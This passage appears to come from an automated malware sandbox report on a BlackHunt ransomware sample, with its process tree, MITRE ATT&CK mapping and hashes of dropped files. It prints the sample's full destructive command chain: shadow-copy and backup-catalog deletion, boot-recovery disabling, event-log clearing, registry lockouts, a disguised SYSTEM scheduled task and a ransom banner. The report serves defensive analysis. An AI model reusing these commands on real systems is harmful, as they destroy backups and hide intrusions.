  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
  2⤵
  PID:2700
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
    3⤵
    PID:3972
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
  2⤵
  PID:2644
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
    3⤵
    PID:2080
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "NoLogoff" /t REG_DWORD /d 1 /f
  2⤵
  PID:2004
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "NoLogoff" /t REG_DWORD /d 1 /f
    3⤵
    PID:1840
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableConfig" /t REG_DWORD /d 1 /f
  2⤵
  PID:1792
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableConfig" /t REG_DWORD /d 1 /f
    3⤵
    PID:3964
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableSR" /t REG_DWORD /d 1 /f
  2⤵
  PID:2136
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableSR" /t REG_DWORD /d 1 /f
    3⤵
    PID:4000
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WinRE" /v "DisableSetup" /t REG_DWORD /d 1 /f
  2⤵
  PID:2020
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WinRE" /v "DisableSetup" /t REG_DWORD /d 1 /f
    3⤵
    PID:1620
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupLauncher" /t REG_DWORD /d 1 /f
  2⤵
  PID:2484
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupLauncher" /t REG_DWORD /d 1 /f
    3⤵
    - Modifies registry class
    PID:388
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableRestoreUI" /t REG_DWORD /d 1 /f
  2⤵
  PID:2928
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableRestoreUI" /t REG_DWORD /d 1 /f
    3⤵
    PID:636
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableSystemBackupUI" /t REG_DWORD /d 1 /f
  2⤵
  PID:2980
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableSystemBackupUI" /t REG_DWORD /d 1 /f
    3⤵
    PID:3868
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupUI" /t REG_DWORD /d 1 /f
  2⤵
  PID:2908
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupUI" /t REG_DWORD /d 1 /f
    3⤵
    PID:3740
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 1 /f
  2⤵
  PID:2924
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 1 /f
    3⤵
    PID:2100
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 1 /f
  2⤵
  PID:2940
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 1 /f
    3⤵
    PID:2796
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c SCHTASKS.exe /Create /RU "NT AUTHORITY\SYSTEM" /sc onstart /TN "Windows Critical Update" /TR "C:\Users\Admin\AppData\Local\Temp\23d4fd505b845260266d5e3b7cd116a448df9a4784c5aefbef738c988264a5d8.exe" /F
  2⤵
  PID:2964
- - C:\Windows\system32\schtasks.exe
    SCHTASKS.exe /Create /RU "NT AUTHORITY\SYSTEM" /sc onstart /TN "Windows Critical Update" /TR "C:\Users\Admin\AppData\Local\Temp\23d4fd505b845260266d5e3b7cd116a448df9a4784c5aefbef738c988264a5d8.exe" /F
    3⤵
    - Creates scheduled task(s)
    PID:2600
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=401MB
  2⤵
  PID:1664
- - C:\Windows\system32\vssadmin.exe
    vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=401MB
    3⤵
    - Enumerates connected drives
    - Interacts with shadow copies
    PID:3992
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=unbounded
  2⤵
  PID:2828
- - C:\Windows\system32\vssadmin.exe
    vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=unbounded
    3⤵
    - Enumerates connected drives
    - Interacts with shadow copies
    PID:3920
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=401MB
  2⤵
  PID:776
- - C:\Windows\system32\vssadmin.exe
    vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=401MB
    3⤵
    - Interacts with shadow copies
    PID:684
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=unbounded
  2⤵
  PID:108
- - C:\Windows\system32\vssadmin.exe
    vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=unbounded
    3⤵
    - Interacts with shadow copies
    PID:4012
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin.exe Delete Shadows /all /quiet
  2⤵
  PID:2140
- - C:\Windows\system32\vssadmin.exe
    vssadmin.exe Delete Shadows /all /quiet
    3⤵
    - Interacts with shadow copies
    PID:2164
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} recoveryenabled No
  2⤵
  PID:2852
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {default} recoveryenabled No
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:3972
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} bootstatuspolicy IgnoreAllFailures
  2⤵
  PID:2844
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {default} bootstatuspolicy IgnoreAllFailures
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:1812
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c fsutil.exe usn deletejournal /D C:
  2⤵
  PID:564
- - C:\Windows\system32\fsutil.exe
    fsutil.exe usn deletejournal /D C:
    3⤵
    - Deletes NTFS Change Journal
    PID:4020
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wbadmin.exe delete catalog -quiet
  2⤵
  PID:1500
- - C:\Windows\system32\wbadmin.exe
    wbadmin.exe delete catalog -quiet
    3⤵
    - Deletes backup catalog
    - Modifies registry class
    PID:1152
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable
  2⤵
  PID:1624
- - C:\Windows\system32\schtasks.exe
    schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable
    3⤵
    PID:2904
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c fsutil usn deletejournal /D F:\
  2⤵
  PID:4032
- - C:\Windows\system32\fsutil.exe
    fsutil usn deletejournal /D F:\
    3⤵
    - Enumerates connected drives
    PID:1640
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c fsutil usn deletejournal /D C:\
  2⤵
  PID:3912
- - C:\Windows\system32\fsutil.exe
    fsutil usn deletejournal /D C:\
    3⤵
    PID:2604
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c fsutil usn deletejournal /D M:\
  2⤵
  PID:1780
- - C:\Windows\system32\fsutil.exe
    fsutil usn deletejournal /D M:\
    3⤵
    - Enumerates connected drives
    PID:3276
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Setup
  2⤵
  PID:112
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl Setup
    3⤵
    - Clears Windows event logs
    - Suspicious use of AdjustPrivilegeToken
    PID:3348
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wevtutil.exe cl System
  2⤵
  PID:3864
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl System
    3⤵
    - Clears Windows event logs
    - Suspicious use of AdjustPrivilegeToken
    PID:868
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Application
  2⤵
  PID:2692
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl Application
    3⤵
    - Clears Windows event logs
    - Suspicious use of AdjustPrivilegeToken
    PID:1676
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Security
  2⤵
  PID:2804
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl Security
    3⤵
    - Clears Windows event logs
    - Suspicious use of AdjustPrivilegeToken
    PID:3828
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Security /e:false
  2⤵
  PID:3444
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl Security /e:false
    3⤵
    - Clears Windows event logs
    - Suspicious use of AdjustPrivilegeToken
    PID:1840
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin.exe Delete Shadows /all /quiet
  2⤵
  PID:2732
- - C:\Windows\system32\vssadmin.exe
    vssadmin.exe Delete Shadows /all /quiet
    3⤵
    - Interacts with shadow copies
    PID:3888
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} recoveryenabled No
  2⤵
  PID:3376
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {default} recoveryenabled No
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:776
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} bootstatuspolicy IgnoreAllFailures
  2⤵
  PID:1800
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {default} bootstatuspolicy IgnoreAllFailures
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:3892
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c fsutil.exe usn deletejournal /D C:
  2⤵
  PID:3284
- - C:\Windows\system32\fsutil.exe
    fsutil.exe usn deletejournal /D C:
    3⤵
    - Deletes NTFS Change Journal
    PID:2768
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wbadmin.exe delete catalog -quiet
  2⤵
  PID:3440
- - C:\Windows\system32\wbadmin.exe
    wbadmin.exe delete catalog -quiet
    3⤵
    - Deletes backup catalog
    PID:2004
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c REG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "legalnoticecaption" /t REG_SZ /d "WARNING WARNING WARNING. " /f
  2⤵
  PID:3528
- - C:\Windows\system32\reg.exe
    REG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "legalnoticecaption" /t REG_SZ /d "WARNING WARNING WARNING. " /f
    3⤵
    PID:1628
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable
  2⤵
  PID:3356
- - C:\Windows\system32\schtasks.exe
    schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable
    3⤵
    PID:2652
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c REG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "legalnoticetext" /t REG_SZ /d " Your Network Infected With BlackHunt Ransomware Team. ALL Your important Files Encrypted and Stolen , Do You Want Your Files? read [ReadMe] Files carefully and contact us by [[email protected]] AND [[email protected]] " /f
  2⤵
  PID:3592
- - C:\Windows\system32\reg.exe
    REG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "legalnoticetext" /t REG_SZ /d " Your Network Infected With BlackHunt Ransomware Team. ALL Your important Files Encrypted and Stolen , Do You Want Your Files? read [ReadMe] Files carefully and contact us by [[email protected]] AND [[email protected]] " /f
    3⤵
    PID:2792
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 0 /f
  2⤵
  PID:3576
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 0 /f
    3⤵
    PID:3796
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c SCHTASKS.exe /Delete /TN "Windows Critical Update" /F
  2⤵
  PID:2880
- - C:\Windows\system32\schtasks.exe
    SCHTASKS.exe /Delete /TN "Windows Critical Update" /F
    3⤵
    PID:524
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 0 /f
  2⤵
  PID:1096
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 0 /f
    3⤵
    PID:1752
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c taskkill /IM mshta.exe /f
  2⤵
  PID:3640
- - C:\Windows\system32\taskkill.exe
    taskkill /IM mshta.exe /f
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:268
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c notepad.exe C:\ProgramData\#BlackHunt_ReadMe.txt
  2⤵
  PID:2140
- - C:\Windows\system32\notepad.exe
    notepad.exe C:\ProgramData\#BlackHunt_ReadMe.txt
    3⤵
    PID:1032
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c C:\ProgramData\#BlackHunt_ReadMe.hta
  2⤵
  PID:2712
- - C:\Windows\SysWOW64\mshta.exe
    "C:\Windows\SysWOW64\mshta.exe" "C:\ProgramData\#BlackHunt_ReadMe.hta"
    3⤵
    - Modifies Internet Explorer settings
    - Suspicious behavior: CmdExeWriteProcessMemorySpam
    PID:1928
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c ping 127.0.0.1 -n 5 > nul & del "C:\Users\Admin\AppData\Local\Temp\23d4fd505b845260266d5e3b7cd116a448df9a4784c5aefbef738c988264a5d8.exe"
  2⤵
  - Deletes itself
  PID:3588
- - C:\Windows\SysWOW64\PING.EXE
    ping 127.0.0.1 -n 5
    3⤵
    - Runs ping.exe
    PID:4044

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:3300

C:\Windows\system32\wbengine.exe
"C:\Windows\system32\wbengine.exe"
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:2840

C:\Windows\System32\vdsldr.exe
C:\Windows\System32\vdsldr.exe -Embedding
1⤵
PID:3596

C:\Windows\System32\vds.exe
C:\Windows\System32\vds.exe
1⤵
PID:3804

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Scheduled Task/Job

T1053

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

T1053

Privilege Escalation

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

T1053

Defense Evasion

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Indicator Removal

T1070

File Deletion

T1070.004

Modify Registry

T1112

Credential Access

Discovery

Peripheral Device Discovery

T1120

Query Registry

T1012

Remote System Discovery

T1018

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Data Destruction

T1485

Defacement

T1491

Inhibit System Recovery

T1490

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Downloads

C:\ProgramData\#BlackHunt_Private.key

Filesize
1KB

MD5
24820b0325745aeb98c6676397a7ca2b

SHA1
d216a9f2322fa57e58c8a10707cd4fe2e9667510

SHA256
0511af3b4bb43698cb91024de0f9bf1673090428d999414368145b5253631e14

SHA512
e09203a59fb19e4757cd9163d1992b90839bd4b9e5754190fdd5908afeb7af730a82aa1580d5646c019679ceb4614b17e093f744b02ba107659d06efb1b8bb23

Download Submit
C:\ProgramData\#BlackHunt_ReadMe.hta

Filesize
12KB

MD5
c8831a91af6d0412375c59882808099c

SHA1
0a23b996e31b08c8418c4c4d5b546291d6963ec2

SHA256
b230112d00955994a628b53c2f1dd2339257d512b50d6781b6ea9d35bd74012d

SHA512
044bf37e0dce29cde0333748fc33e06ce0332d315fb5bba982d4095f0b22594fc106cfb3a65e749ae765bb68ba6e8204370821827cb70b5fc9c95a2febd47342

Download Submit
C:\ProgramData\#BlackHunt_ReadMe.txt

Filesize
684B

MD5
1bfd7ae680b15c7dc76a30a120fc68fe

SHA1
e1a0c73060fe603514fa107e22233b09fd08915e

SHA256
f23d1ab0ed633371735539563768f019646cb9f00ca06c7a4b05d86e7aec9ff5

SHA512
1d4bd448efbfe73d8c0198b234077092cfa3b1c438a57e86bdee59802183c5a5ab757218770ce384cba2870ff0073bd79493ccca2757195b3aad1b2dde578dd7

Download Submit

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads